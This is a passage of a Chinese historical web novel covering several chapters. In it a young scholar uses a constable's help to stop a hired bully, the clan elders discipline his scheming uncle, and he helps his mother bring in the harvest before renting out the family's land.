杨元贞越想越高兴，和兄弟们又干一碗酒。 第二天一早，张顺子按照杨云的嘱咐，把力工们都带来，据他所说，今天能开工。 只是到姜梅家一看，杨元贞等人又坐在老地方，虎视眈眈地盯着这边。 杨云今天依旧没有上课，他看看天上的日头，心里估摸着李乐山要来了，冲着张顺子他们挥挥手， “开工！” 张顺子看看坐在对面的杨元贞等人，又看看杨云，把心一横，拿起镐头要去挑地基，剩下的力工纷纷拿着工具跟上。 他们拿的是主家的钱，自然要听主家的话。 见到杨云竟真让人开工，杨元贞领着她的兄弟，懒洋洋地走过来， “小子，我昨天说让你们家没赔银子前别动工，你听不懂吗？” 杨云站在杨元贞面前，脸上没有丝毫惧色，只是淡淡地提醒， “杨元贞，你马上走还来得及。” 张顺子悄悄停下手中的镐头，他看得出来，杨云今天找他们来，必有后招，只是他不知道，这后招到底是什么。 看杨云自信满满的样子，杨元贞忍不住笑着说：“你以为你去县衙告状能行？这东平县，敢拿我的衙役还没生出来呢！” 话音刚落，一个清朗威严的声音从杨元贞的后背传来，“真的吗？整个东平县，就没有敢拿你的衙役？” 杨元贞转头看去，只见李乐山领着四个衙役站在身后，脸上带着淡淡的笑意。 李乐山走到杨元贞面前，打量他一番，开玩笑似的说： “我想看看，你有什么本事，竟敢在东平县放这么狂的话。” 昨天杨元贞已知道，杨云今天会请衙役来给他撑腰，为能保证摆平今天的衙役，他还专门去找杨玉昭要几个红包，准备塞给来的衙役。 可他千算万算没算到，杨云竟把东平县的捕头李乐山请来！ 李乐山平时负责缉捕破案，杨元贞敢说那么狂的话，算是撞在刀尖上。 但杨元贞的脑子转得很快，凶横的脸上挤出一丝谄媚的笑容，点头哈腰地说： “李捕头，小人昨天喝几口猫尿，今天还没醒酒，一不小心说大话，您老大人有大量，放过小人这一次吧！” 杨元贞一边给李乐山赔礼道歉，一边在心里暗骂杨云，你认识李乐山不早说！我们要是知道你认识李乐山，根本不会接这单买卖！ 看杨元贞卑躬屈膝的样子，李乐山根本没理他，迈步走进杨云家里，带着几分责怪说： “老弟，你家里住得这么简朴，你怎么不早跟哥哥说？来，哥哥还有些碎银子，你拿着。” 杨云知道李乐山能来自家，已经算是很给面子，银子肯定不能收，笑着推回去，“李大哥，你忘了因为什么事来我家吗？不正是房子闹出来的事吗？” “您的心意我领了，银子收回去吧，我们家有钱盖房。” 李乐山从善如流地将银子收回去，转头看着张顺子等人笑着说： “老张，你傻站着干什么？赶紧干活啊！杨老弟这房子你一定要用心，不然我饶不了你！” 张顺子瞥一眼站在地基边的杨元贞，大声地答应一句，跟力工们热火朝天地干起来。 杨云把李乐山和几个衙役请进家里，把书桌搬出来摆上昨天买的酒菜，又去邻居家借两条板凳，几个人乐乐呵呵地喝起来。 没过多长时间，族老杨四德知道县衙里的捕头来了，也赶过来，“青山村族老杨四德，见过李捕头。” 杨四德看着杨云和李乐山坐在一起，把酒言欢，心中不由得有些感慨。 之前李乐山来过青山村，那时候是为抓杨云。 没想到短短十几天过去，杨云竟能和李捕头在一张桌子上喝酒。 “原来是杨族老，失敬失敬。一起坐下来吃点？” 李乐山坐在凳子上，随意地冲着杨四德拱拱手，顺口问一句。 虽然李乐山这个捕头不算官，但他手里的权力很大，有资格在杨四德面前托大。 最后还是杨云起身请族老坐下，一桌人乐呵呵地吃到中午。 等到酒足饭饱，李乐山手里拿着个鸡爪，指指站在地基旁的杨元贞等人，漫不经心地问： “杨老弟，你想怎么处理这几个人？” 这次杨元贞犯下的事，说大就大，说小就小，全看李乐山这个捕头的心情。 如果李乐山说是敲诈勒索，杨元贞最少也得进去个一年半载。 如果只是邻里之间的占地纠纷，只要训斥一顿放了即可。 杨云端着酒杯不说话，似在考虑怎么处理。 眼看杨云一句话能决定他的命运，杨元贞眼珠一转，大声地说：“杨兄弟……呸，杨大哥，我有事要跟你说！” 只是微醺的杨云，心中猜到杨元贞要说什么，冲着他招招手说：“你过来说，离得太远听不清。” 杨元贞一溜烟地跑到杨云身边，弓着身子对桌上的人说： “杨大哥，不是我想为难你，是有人花钱雇我来的，不然我吃了熊心豹子胆，也不敢跟你作对啊！” 杨云假装不知道，借着酒劲重重地拍一下桌子，怒气冲冲地问：“我在村里一贯与人为善，从来没有得罪过人，是谁指使你为难我？” 第64章 主动招供 第六十四章 主动招供 酒桌上的人静下来，所有人都在看着杨元贞，等着他把幕后主使说出来。 杨元贞知道他这么做不道义，可为不进大牢，牙一咬心一横，低声说：“这人是咱们村的杨玉昭！我那份地契是他给我的！” “他还说，只要每天盯着你们，不仅管我们吃喝，还给我们每人五百文钱！” 李乐山听到杨玉昭的所作所为，立刻勃然大怒，“这人怎么这么坏，竟使钱不让别人盖房！杨老弟，你说我把这人一起抓了怎么样？” 杨云没有开口，只是面露苦色，一杯接一杯地喝酒。 见到杨云这种情况，李乐山知道这里面肯定有他不了解的猫腻，转头看向杨四德。 老头是村里的族老，大事小情都应该心中有数。 杨四德颤颤巍巍地把酒杯放下，重重地叹气说：“李捕头，这杨玉昭，是杨云的二叔，他们两个是实实在在的一家人。” 这下李乐山明白过来，侄儿报官把亲叔叔抓走，这要是传出去，对杨云的名声不利。 看着杨云低头不语，李乐山知道这事很难办，只能给他倒上酒说：“老弟，有些事是这样的，你想干但偏偏不能干，只能忍着。” “我这人嘴笨，也不会劝你，只能陪你喝一个。” 听到李乐山的话，杨四德心中微动，低声对杨云说：“小云，家丑不可外扬，你要是让李捕头把你二叔抓住，对你不利，对村子也不利。” “不如你看这样，我之后跟你们家老爷子谈谈，让他好好管教管教你二叔，保证以后再也不找你的麻烦，你觉得怎么样？” 杨玉昭是村里的三个童生之一，如果有办法保下他，杨四德还是要保的。 听到杨四德的办法，杨云沉思片刻，闷闷地问道：“如果他不听你的话，还来找我们家的麻烦怎么办？” 杨四德的脸色一沉，郑重其事地说：“他要是还敢找你麻烦，我把他从族谱上踢出去，这辈子不能再回青山村！” 这个惩罚听起来没什么力道，实际上却是重到极点！ 从族谱中剔除，代表这个人犯大错，连血脉最深的家族都不愿意包容。 别人只要知道这件事，天然会对踢出去的人保持一份戒心。 最重要的是，这辈子不能回青山村， 杨家的历代先祖葬在青山村，不让杨玉昭回村，等于是剥夺他祭祀祖先的权利，让他永远背着不孝的罪名。 杨四德上次提醒过杨玉昭，不要再对杨云下手，没想到他根本没听进去。 既然是这样，那不能怪他这个族老心狠。 杨云没想到杨四德下手这么绝，诧异地看他一眼，轻轻点头说：“我年纪还小，一切任凭族老处置吧。” 旁边的杨元贞见到众人定下对杨玉昭的处罚，干笑着问道：“那我呢？杨大哥，你看我这也算戴罪立功吧，能不能放我一马？” 杨云看看李乐山，见他专心啃着鸡爪子，凑过去说： “李大哥，杨元贞虽然可恶，毕竟是受人指使，让他把我们家这几天浪费的银子赔了，长长记性就行，你看如何？” 李乐山轻轻地点点头，反正杨元贞的罪也不算大，放过也放过了。 见到李乐山同意，杨云转头对杨元贞说：“你总共耽误三天工期，每天二两银子，总共六两。” 杨元贞听到要出这么多钱，忍不住有些心疼，可为不进大牢，他又不能不掏。 他浑身上下所有的地方都摸一遍，又去和兄弟们借点，杨元贞才凑够六两银子。 杨云点一下，确认数目没错后，冲着杨元贞摆摆手，他如蒙大赦一般，立刻带人跑掉。 事情摆平，李乐山又跟杨云碰一杯，才起身告辞。 杨云和族老一起把李乐山送到门口，趁着无人注意，杨云不着痕迹地将杨元贞的六两银子塞进李乐山的怀里。 原本已经有几分醉意的李乐山，忽然抓住杨云的胳膊，笑着对他说： “老弟，你这个人是真不错，咱们哥俩以后要多多来往，有事需要我出马，尽管开口！” 杨云笑着点头，将李乐山和一众衙役送到村口，目送他们离开，才转身回家。 族老只是把李乐山送到门口，立马跟众人告辞，独自来到杨家祖宅。 门子见到族老来，连忙去通知老爷子，请族老到正厅用茶。 不多时，杨老爷子在侍女的搀扶下，来到正厅，脸上挂着开心的笑容，“小四，好些日子没见，你的身子骨还硬朗吧？” 杨老爷子的岁数比族老大两岁，小四是他们年轻时候的称呼，直到现下都没改。 族老进来时脸色很难看，但听到老哥哥的询问，神情舒缓许多，轻轻点头说： “七哥，劳你惦记，我的身子骨还不错，今天上午还跟玉明家的儿子喝一顿酒呢。” 听到玉明家的儿子，老爷子面色微沉，他对这个孩子又爱又恨，平时只能假装没有。 见老爷子不搭话，杨四德继续对他说：“在喝酒的时候，我还听说一件小事，不知道七哥你有没有兴趣听听。” 族老在村子里德高望重，但面对比他大的老人，他也得恭恭敬敬。 杨老爷子看一眼杨四德，脸颊上的肉轻轻颤一下，“什么事？” 既然杨四德专门提起这件事，显然这件事没有他说得那么小。 杨四德深吸一口气，抬头看着杨老爷子，缓缓地说：“玉明家的儿子，也是杨云，最近准备盖房子，但被杨元贞拦下，你应该听说了吧？” 听到杨四德说起这件事，杨老爷子眼中闪过一丝不解，但还是点头，“小狗子从小不学好，没想到连本村的人也不放过。” 杨四德沉吟一下，对杨老爷子说：“今天上午，杨云不知道用什么办法，把县衙的捕头请来，抓了小狗子。” “小狗子为自保，主动招供说，他是受杨玉昭指使，故意为难杨云。” “七哥你觉得他的话可信吗？” 第65章 闭门读书 第六十五章 闭门读书 指使外人坑害自家的外甥，这个罪名一旦坐实，杨玉昭以后没办法在村里做人了。 听到这么严重的指控，杨老爷子依旧是一派波澜不惊的样子，淡淡地对杨四德说： “杨元贞一个泼皮无赖，为逃脱罪名，什么事情都能做出来，此人之言，不足为信。” 不管是为家族，还是儿子，杨老爷子都必须把杨元贞的话认定是假的。 只有这样，杨家还是那个全家和睦的家族，杨玉昭还是那个饱读诗书，为人正派的童生。 开口之前，杨四德已经料到杨老爷子会这么说，他沉默片刻后说： “七哥，今天咱们老兄弟见面，用不着这么多人伺候吧？” 杨老爷子知道，杨四德这是有些私 密话要和他说，点点头将所有下人屏退。 等到屋中只剩杨四德和杨老爷子后，他才缓缓地开口，“七哥，杨元贞的话是真是假，我们先放在一边，我要和你说另外一件事。” “上次有人从京城投奔杨云，玉昭将那人带回自家里住，晚上发现那人偷盗财物，甚至意图杀人，当时玉昭说，那人是杨云指使，想要把杨云送进大牢。” “当时我提醒玉昭，她和杨云是亲叔侄，应当和睦相处，他答应了。” “现下杨云又遇到这种事，我要是不给孩子一个公道，恐怕人家会寒心。” 两人都是活六七十年，杨四德想说什么，杨老爷子听出来了。 杨玉昭一直在害杨云，杨四德开口敲打后，他依旧没放弃、指使无赖阻挠杨云盖房。 如果杨老爷子不对杨玉昭做出惩处，村里要动手了。 杨老爷子也没想到杨玉昭已经是第二次害杨云，沉思片刻后，冲着外面高喊， “来人，去把玉昭叫来。” 尽管杨老爷子对杨云这个孙子置若罔闻，但这不代表他会看着孙子被人欺负，尤其这个使坏招的人，还是自家人。 杨玉昭很快赶过来，见到族老和父亲坐在一处，心中不由得一颤，恭敬地说：“见过父亲，见过族老。” 杨老爷子用审视的目光看着杨玉昭，沉吟片刻后说：“玉昭，你可记得我们家的家规是什么？” 家规这么重要的东西，杨玉昭当然记得很清楚，立刻背诵道：“敦孝悌，严教诲，睦宗族，修祠墓……” 等杨玉昭将家规背完，杨老爷子目不斜视地看着他继续问，“我问你，所谓睦宗族，是什么意思？” 杨玉昭心中猜测父亲把他叫过来，问家规是什么意思，嘴上回道： “此条家规是告诫子孙，与宗族相处要以和睦为先，有事要互相帮忙，不可能生出内乱。” 这些东西是杨家人从小背的，杨玉昭自然是张口能来。 听到杨玉昭的话，杨老爷子满意地点点头，看一眼杨四德后，语调突然变得严厉， “杨玉昭，族老说你两次加害族中子弟杨云，可有此事？” 虽然杨四德亲自上门，但杨老爷子也不能相信他的一面之词，还是要听听杨玉昭的说法。 杨玉昭眼中闪过一抹惧色，扑通一声跪倒在杨老爷子面前，声音颤抖着辩解， “父亲，我跟杨云平日很少往来，怎么可能会害他？” 坐在旁边的杨四德冷哼一声，这话等于是在说他不辨是非。 他沉声开口，“玉昭，杨元贞已经被县衙的人抓走，你可仔细想清楚再回答！” 如果杨玉昭死不承认，杨四德只能把杨元贞拉过来跟他对质，到时事情没法收场。 杨玉昭听到杨元贞被抓走，心中一惊，眼珠转几圈后，期期艾艾地说： “我确实没有害过杨云，只是和他有过几次误会而已。” 此话一出，等于坐实杨四德之前说的罪名，所谓误会，只是暗中加害的好听说法。 杨老爷子没想到，儿子竟会对孙子下手，大怒起来，气得胡子都在抖， “你……你这个逆子，竟敢做出如此令人发指之举！” “小四，你立刻把这个逆子带走，是沉塘还是活埋，你该怎么处置怎么处置！” 之前杨老爷子以为，家族中虽有些明争暗斗，但都在可控范围之内，他万万没想到，下面的人已经内 斗到里外不分！ 杨四德知道杨老爷子说的是气话，他也不可能真把杨玉昭拉去沉塘，只能开口劝道： “七哥，您先消消气，别气坏身子。” “玉昭这件事可大可小，毕竟斗得虽狠，但没有造成什么不可挽回的后果。” “只要他肯认错悔改，以后再也不要做这种错事即可。” 听到杨四德劝慰，杨老爷子反而更加生气，瞪着杨玉昭说：“若真造成什么恶劣后果，来的不是族老，而是县衙的官差！” “这次的事若不给他一个教训，他怎么可能长记性？” 杨玉昭知道做的事，杨四德已经全都告诉父亲，连忙磕头认错，“爹，儿子知道错了，儿子以后再不敢了！” 杨老爷子闭着眼睛把头扭到另一边，根本不理会杨玉昭。 看到这种尴尬的场面，杨四德轻轻咳一声，冲着杨老爷子说：“七哥，你看这样好不好，勒令玉昭闭门读书，不考中秀才不能出门。” “也不许再打杨云的主意，否则踢出族谱，赶出青山村，这辈子不能回来！” 这两条处罚很重，但只要杨玉昭老老实实遵守，基本不会有什么后果，算是杨四德给老哥哥留个天大的面子。 听到这个处罚，杨老爷子眼中的怒色依旧未消，气呼呼地说：“这么处罚，真是便宜这个兔崽子！还愣着干什么？给我滚回去读书！” “以后再敢动歪心思，用不着四德动手，我来把你小子赶出家门！” 杨玉昭知道这关算是过了，赶快给父亲磕个头，飞快地跑走。 杨四德看着杨玉昭的背影，轻轻摇头，忽然心中一动，看着杨老爷子问道： “七哥，你看要不要让杨云过来一趟，您亲自把这个消息告诉他？” 第66章 平淡生活 第六十六章 平淡生活 杨四德这是给杨老爷子和杨云制造和好的机会，再怎么说都是爷孙，不该一直这么僵着。 从杨玉昭的反应能看出来，这小子行事不密，遇事慌张，日后定然成不了大器。 反观杨云，处事冷静周密，为人可靠信义，就算考不上功名，也能闯出一番天地。 若等到杨云功成名再去认亲，那晚了。 没想到杨老爷子根本不接杨四德的话茬，只是假装耳背啊一声，说：“玉昭这小子确实不省心，我以后会多管教的。” 见到杨老爷子的反应，杨四德知道他是过不去心里那道坎，只能重重地叹气， “七哥，我家里还有事，先回去了，以后有空再来看你。” 刚才还耳背的杨老爷子，立刻听清楚，笑着点头说： “以后没事你常过来，我家里还有点好茶叶，咱们两个一起喝。” 这次的事，杨四德给足杨老爷子面子，杨老爷子不是不知好歹的。 杨四德应一声，转头去杨云家里。 中午喝不少酒的杨云，破天荒地没有读书，躺在家中的床上眯着。 听到族老来，杨云连忙从床上起来，有些难为情地笑着说：“小子贪杯，让族老见笑啊。” 看着杨云醉后都不忘礼数，杨四德心中又忍不住拿他和杨玉昭做一番对比，越发觉得杨玉昭不堪大用。 姜梅张罗着倒水，杨四德摆摆手拦住她，“用不着，我跟小云说几句话就走，中午我也喝不少，得回去好好睡一觉才行。” 说着转头看着杨云，眼中带着几分欣慰和赞许， “小云，我已经和你们家老爷子商量过，杨玉昭从今天开始，闭门读书，不考中秀才不许出门，就算考中秀才，他也不能以任何方法找你的麻烦。” “你觉得这个处置还算可行吧？” 尽管没能把杨玉昭赶出村子，但杨云知道，在这种以家族血脉亲情为纽带的山村，族老能做到这一步，已经很不容易。 他眼中闪过一丝失望之色，冲着族老感激地说：“族老处置公允，我没有任何意见。” 杨四德敏锐地察觉到，杨云眼中那一抹失望，起身走到他身边，轻轻拍拍他的肩膀说： “大家都是亲戚，有些事还是不能做绝。你好好休息吧 ，我先走了。” 如果害杨云的是个外村或者外姓，杨四德定然会下狠手，将他们立刻赶出村子。 但一笔写不出两个杨，杨玉昭和杨云是实在亲戚，要是这么做反而不好，只能怀柔。 姜梅拿着茶碗出来的时候，杨四德已经走了，她把水端到杨云床边，眼中带着忧色问： “云儿，你二叔应该不会在刁难我们吧？” 杨玉昭几次三番对自家下手，姜梅心里已经习惯担忧。 脑袋晕晕乎乎的杨云躺在床上，闭着眼睛说： “娘，你不用担心，咱们已经忍二叔两回，如果再有第三回，族老定然不会放过他。” 其实杨云回村后，杨玉昭已经害过他三次，一次是祖庙立一年之约。 第二次是用王忠栽赃他图谋杀人；第三次是这次。 只是在杨四德看来，第一次只是叔侄吵架，不算暗害。 姜梅听到儿子的话，才算是放心下来，关上门悄悄出去，让杨云在屋里休息。 杨元贞被抓走后，村上的人都知道杨云跟县衙的李捕头有交情，跟他打招呼的时候更加热情，连学堂里的同学，也时常缠着他问些衙门里的事。 这天在学堂吃饭的时候，宋玉川好奇地看着杨云问道： “云哥，你昨天放假的时候，有没有进城？李捕头有没有找你破案？” 宋玉川一句话，勾起其他同学的好奇心，纷纷附和着追问，虞尚熙也一脸的期待。 看着同学们渴望的眼神，杨玉昭无奈地笑着说： “昨天进城，李捕头确实找我帮忙断一件案子，只是个盗窃小案而已。” 同学们其实只是想听新鲜故事，不在乎案子大小，催促着杨云赶快讲。 虽然只是个小案子，杨云讲得却很精彩，听得同学们连连赞叹，欲罢不能。 等到案子讲完，同学们都还在回味的时候，虞尚熙叹一声，用亮晶晶的眸子看着杨云， “云哥，真不知道你这脑子是怎么长得，不仅会断案，学习还那么快。” “我记得你刚来学堂的时候，是从《大学》第一篇开始念的，当时我已经读到第七篇。” “现下我开始学《论语》，你已经念《孟子》，把我甩出一大截，真是人比人气死人。” 杨云刚超过虞尚熙的时候，虞尚熙心里还有些不服，后来两人的差距越来越大，虞尚熙也慢慢从不服到嫉妒，再到满心钦佩。 剩下的同学也纷纷附和，现下他们一不用功，先生定会拿杨云做榜样教训他们。 看着同学们敬佩的眼神，杨云笑着鼓励他们说：“我只是比你们快一步而已，只要你们用功读，将来肯定能追上我。” 虞尚熙故意做出一副悲伤的样子，哀叹着说：“想要追上你，除非是我们家祖坟冒青烟。” 跟杨云关系比较近的宋玉川转转眼珠，调皮地对虞尚熙说： “尚熙哥，你要是想让祖坟冒青烟，那等一场大雨后，偷偷去把你祖坟点着，保证冒出的青烟，又直又粗！” 听到宋玉川怂恿他去点祖坟，虞尚熙装作生气的样子，举起拳头， “我看你小子是想挨揍！” 众人一起哄笑，学堂内外满是欢乐的气氛。 晚上回到家，杨云照例先练字。 经过这几个月的练习，杨云的字已经有长足进步，但在周仲看来还不够，必须继续练习，达到圆融自如的地步才行。 姜梅做好晚饭，招呼杨云一起吃。 在吃饭的时候，杨云却忽然发现，母亲的脸上和手上，多出不少细小的口子，有的还带着血珠。 他的眉头微微一皱，带着疑惑问道：“娘，你的脸和手是怎么回事？有人欺负您？” 第67章 苦累 第六十七章 苦累 从李乐山来家里吃过一次酒后，村里的人都知道杨云在县衙有关系，没人再招惹他们。 难道是杨玉昭知道他不好对付，转头想办法去折磨娘？ 杨云的目光闪烁，心中第一个怀疑的人，是前科累累的二叔杨玉昭。 姜梅愣一下，低头看看手上的伤口，不在意地笑着说： “没有，这是我收庄稼的时候，庄稼叶子割的。云儿，你现下那么有本事，没人欺负娘。” 杨云恍然大悟，怪不得昨天张师傅他们停工回家，想来是要收庄稼。 知道没人欺负姜梅后，杨云一边吃饭一边对她说： “娘，咱们家一共有多少地？还有多少没收？” 姜梅眼中露出一丝伤感之色，轻声说： “你爹还活着的时候，从杨家分得十亩地。我今天收完两亩，再有四五天应该收能完。” 当初杨玉明跟家里人闹翻，什么都没要，一个人带着姜梅盖一座茅草屋一起生活，这十亩地是他这么多年省吃俭用，攒够银子买下来的。 只可惜家里的日子渐渐好起来，杨玉明却撒手人寰，一点福都没有享到，姜梅一想到这件事想哭。 听到还有这么多地没收，杨云抬头看着姜梅说： “我明天去学堂跟先生请个假，咱们两个一起去收。” 姜梅连忙冲着儿子摇摇头，装出一副轻松的样子说： “不用，你好好念书，我一个人能行，多干几天的事而已。” 杨云应一声，没有跟母亲争辩，只是默默地吃着饭。 第二天，杨云去四方村跟周仲请假，悄悄回到家里，换一身旧衣服，向着田里走去。 一路上问好几个人，杨云才勉强找到自家的地头。 一望无际的玉米秆如同全副武装的甲士一样，站得整整齐齐，不时有玉米秆无风自动，那是有人正在收玉米。 杨云顺着自家的玉米看看，没看到母亲的踪影，在他准备进地找人的时候，姜梅推着一辆板车从地里艰难地走出来。 沉甸甸的玉米，宽大的板车，母亲瘦弱的身影，还有脸上因为使劲扭曲的五官，看得杨云鼻头一酸，差点流下泪来。 幸亏今天他请假来，不然以母亲的身子，收完这么多玉米，不知道得费多大力气。 “云儿，你怎么来了？” 正在推车的姜梅以为田埂上站着的是村里人，但仔细一看竟是她的儿子！ 杨云用力眨眨眼睛，把泛起的泪花憋回去，笑着板车旁边，伸手要接过车把， “我昨天说过，要跟您一起来收庄稼，你忘了？我来吧。” 姜梅动一下车把，冲着杨云摇摇头说： “你不是干活的料，还是回去读书吧，娘能行，你不用担心。” 看着母亲脸上细密的口子，还有额头上的层层汗水，杨云伸手抢过车把， “娘，你一个妇道人家都能干的活，我一个大小伙子怎么不能干？我来！” 杨云逞强抢过车把，使劲一推，堆满玉米的板车纹丝不动，他脸色涨红，咬着牙把吃奶的劲使出来，板车才缓缓向前。 板车动后，推起来才比较轻松，杨云甚至有空对姜梅说： “娘，我跟你说我行吧！” 姜梅心疼地看着儿子，但又为他这份孝心感到高兴。 两人把玉米卸到家里，又推着板车一起回到地里，杨云在母亲的指点下开始摘玉米， “你把玉米往前扔，扔到一堆，一会往车上装的时候，方便一点。” 收庄稼这活看起来简单，但上手后才知道有多苦。 玉米叶子看起来绿油油，但又硬又韧，边上还带着许多毛刺，稍不注意在脸上划一道小口子。 这口子看起来不深，甚至连血都不出，但汗水流过，立刻痒得不行，难受至极。 想要摘玉米，得用虎口卡着，才能掰下，只是掰几个，杨云的虎口火辣辣地疼。 杨云前十八年养尊处优，根本没干过这种活，在地里摘五六个玉米，已想跑了。 可看着把他甩下一截的姜母，杨云实在不忍心抛下母亲，只能咬着牙继续干。 母子两人用两天时间，总算把所有的地收完。 杨云将最后一车玉米卸在院里后，看着满地玉米，心里暗暗发誓， 一定要好好读书考上功名，这活实在是太累人！ “娘，明年咱们不要种地了。” 晚上吃饭的时候，杨云狼吞虎咽，这几天干活不少，他的胃口变大了。 正在吃饭的姜梅白杨云一眼，嗔怪着说： “云儿你胡说什么呢？这地是咱们村里人的命，怎么还能不种呢？” 青山村的祖祖辈辈都是靠种地过日子，要是不种地，他们得活活饿死。 杨云将嘴里的饭咽下去，冲着姜梅摆摆手说： “我的意思是，我们把地租给别人去种，咱们收个租就行。” 村里的富户都是这么干的，杨老爷子家里有两千亩地，族老家里应该也有差不多。 以姜梅的收入，其实种不种地都行，只是她一时转不过弯来。 “租出去……这样好吗？要是咱们自家种，好歹能多挣三四两银子。” 姜梅有些犹豫，把地租给别人，收入至少要减一半。 看着母亲犹豫的样子，杨云眼珠一转，低声对她说： “娘，你还兼着给福兴布庄做衣服，要是你种地把手弄糙，做衣服的时候，把人家送来的布料磨坏，你说要说赔多少银子？” 从上次做完衣服，福兴布庄每个月都有客户找姜梅做成衣，每做一件，姜梅有五到十两的银子进账。 这些成衣所用的料子非常考究，有的一尺要一两银子，甚至有的料子，东平县城根本买不到，她要是摸坏，确实得赔不少钱。 想到这里，姜梅下意识看看手，这几天收玉米，手上没什么遮戴，确实粗糙不少。 她犹豫片刻，带着几分不舍和难过说：“这是你爹攒好多年钱，才买下来的地，这么租出去，是不是有些对不起你爹……” 第68章 租地 第六十八章 租地 对姜梅来说，这十亩地不光是家里的收入，更是杨玉明留给她的念想。 这么让给别人，她心里着实有些不忍和难过。 杨云咧嘴一笑，轻声安慰姜梅说： “娘，爹要是知道咱们家已经开始往外租地，他肯定很高兴，说不定还会催着你外租。” 姜梅被杨云的话逗笑，点点头同意他的提议，“既然你想往外租，那租吧。只是租给谁比较好？” 佃户与佃户之间是有区别的，有的佃户租地会精心侍弄，有的佃户随便撒点种子当是种过，姜梅是庄户人家，自然想把地租给好佃户。 杨云将最后一口饭吃完，想一会说： “租地的事您不要和别人说，我去找族老问问，谁家比较踏实，再咱们悄悄签文书。” 十亩地虽然不多，但好歹是一份收入，要是传出去，家里又得不得安宁一段时间。 第二天放学后，杨云没有练字，去族老家走一趟。 族老家里堆满黄澄澄的玉米，连墙上也挂着玉米串，远远看着跟挂着金子一样。 “小云，你今天怎么有空过来？” 杨四德坐在躺椅上，看着下人们收拾玉米，脸上满是开心的笑容。 下人搬个马扎放在杨四德身边，杨云也不客气，坐下后对杨四德说：“族老，我想问问你，咱们村里谁种地的手艺最好？” 这种事杨四德心里最清楚，他毫不犹豫地说好几个名字，“村东头的成林，福生，大贵，还有村南边的……小子，你不好好读书，问这个干什么？” 说到半路，杨四德觉得不对劲，警惕地看着杨云。 这小子是个读书的好苗子，绝不能让他走到别的岔路上去。 杨云嘿嘿一笑，小声把自家准备租地的事情告诉族老，“您应该知道，那十亩地是我爹好不容易买来的，我想找个踏实可靠，种地又好的人租。” 杨四德了然地点头，村里人租地，都是这样的想法，他能理解。 将村里需要租田的人过一边，杨四德给杨云挑出一个很合适的人选， “我觉得村东的成林不错，人长得虽说低一点，但干活很利索。” “你们家那边的守信也行，老实肯干，话不多，种地也不赖。” “还有是南边的耀先，比较会来事，种地也靠得住。” “这三个人你先看看，要是不合适我再给你想想。” 杨四德一直很看好杨云，这种小事自然更不在话下。 杨云将三人的名字记在心里，回去告诉姜梅，让她从这里面选一个。 从回到青山村，杨云跟村里的人接触不多，对族老说的这三人也不太了解。 但姜梅在村里住十八年，也跟这几人打过交道，想半天后说： “我觉得还是租给守信吧，都是门口边的邻居，这么多年也帮衬过咱们家。” 杨云对租给谁这个事不在乎，既然母亲决定，他无所谓地点点头， “行，那是租给守信，明天晚上你把他叫过来，我把族老请过来，咱们签文书。” 转眼到第二天晚上，杨云和族老在院里喝着茶水，聊着闲天。 姜梅领着胖婶和一个身材高大，脸上有沧桑之色的男人走进来。 “胖婶，你怎么来了？” 看到一下来两个人，杨云疑惑地看着胖婶。 胖婶被杨云的话问得一愣，转头看着姜梅，脸上带着不解之色问道：“梅子，你不是说要把地租给我们种吗？” 姜梅看看迷惑的两人，哑然失笑，连忙解释说： “云儿，你胖婶和你城大叔是两口子，今天晚上签文书，当然是他们两个一起来。” 听到胖婶和程守信竟是两口子，杨云也忍不住笑起来，“原来是这样，胖婶快坐，程大叔你也坐。” 程守信轻轻嗯一声，冲着族老点头示意后，才在旁边坐下。 杨云仔细打量着程守信，总觉得他身上有种熟悉的东西，但一时又想不起来是什么。 姜梅给两人倒上水后，正色对胖婶说： “霞姐，我们家总共有十亩地，地的位置，肥厚你也了解，我把这十亩地全部租给你，每年收两成租子，你觉得怎么样？” 两成租子是村里的惯例，原本姜梅只想收一成，但被杨云劝住。 胖婶听完自然高兴，却没有立刻答应，转头看向一边的程守信。 直到程守信点点头，胖婶才高兴地拉着姜梅的手，眉飞色舞地说： “梅子，你们家的地租给我，你放心吧！保证不让它荒了！” 眼看胖婶同意，杨云将拟好的文书拿出来，签上名字摁上手印，又让程守信签名按印。 在程守信按手印的时候，杨云在他的手腕上，瞄到一个锐利的鹰爪！ 看到这个鹰爪，杨云立刻知道，他为什么会对程守信感到熟悉。 因为大盛朝有一支精锐，人人手臂上都刺着一只雄鹰，名为天鹰卫！ 程守信当年应该是这支精锐的一员，天应侯府时常进出带兵将领。 杨云对军士的坐姿，小动作很了解，才会在看到程守信的第一眼，觉得他很熟悉。 杨云看着程守信按完手印，把文书交给做中间人的族老，装作无意地闲聊， “程大叔，你当年在天鹰卫当过兵？” 程守信以为杨云是从姜梅那里听过他的事，毫不在意地点点头说： “当过两年，后来打完仗从军中离开了。” 杨云的眼中闪过一丝精光，他想一下天鹰卫驻扎的方位，接着问： “不知道程大叔打的是哪一仗？五年前的北伐之战还是七年前的濛河之战？” 这两场是大盛这几年规模比较大的战斗，剩下的小规模冲突没必要提。 程守信没想到杨云对边关战事如此了解，略微惊讶一下后，摇着头说： “都不是，我打的是十三年前的白弯大战。” 听到程守信参加过白弯大战，杨云不由得肃然起敬，冲着程守信拱拱手说： “没想到程大叔竟参加过白弯大战，小子失敬。” 第69章 新房落成 第六十九章 新房落成 白弯大战是大盛和北夷近些年打得最厉害的一仗，大盛死四万七千多将士，北夷死六万骑兵，以大盛惨胜结束。 那一仗天鹰卫人人带伤，连主将天应府老侯爷都中一箭，可见战况之惨烈。 程守信能在那场大战中活下来，真是太不容易。 见到杨云如此郑重，程守信也连忙抱拳还礼，村里的人只知道他去打仗，但白弯大战到底有多惨烈，没人在乎。 现下好不容易碰到一个懂沙场纵横的人，程守信心中不由自主地有些感动。 在两人互相致意的时候，胖婶欢喜的声音响起来，“老程，文书签了！咱们家以后能多种十亩地了！” 多种十亩地，代表多十亩地的收入，家里境况也会改善，胖婶自然高兴。 看着胖婶喜气洋洋的样子，杨云悄悄对程守信说：“程大叔，要不这租子免了吧，算是我对你的一些敬意。” 天应府老侯爷小侯爷都是出身行伍，连带着杨云也对军中将士，天然有几分好感。 姜梅做成衣，每月都有十几两的收入，减掉这点租子不算什么。 没想到程守信摇摇头，十分坚定地说：“杨公子，你要是减租，那我宁愿不租。” 白弯大战是程守信当年的荣耀，而不是请求别人施舍的借口。 眼看程守信这么坚定，杨云只能按下这个想法，将胖婶程守信和族老送出门。 把家里的地租出去后，杨云又回到之前按部就班的生活，每天上学，回家，偶尔跟张顺子等人聊聊先天，日子平淡而温馨。 这天，周仲将《孟子》最后一篇释义讲完，看着杨云赞许地点点头， 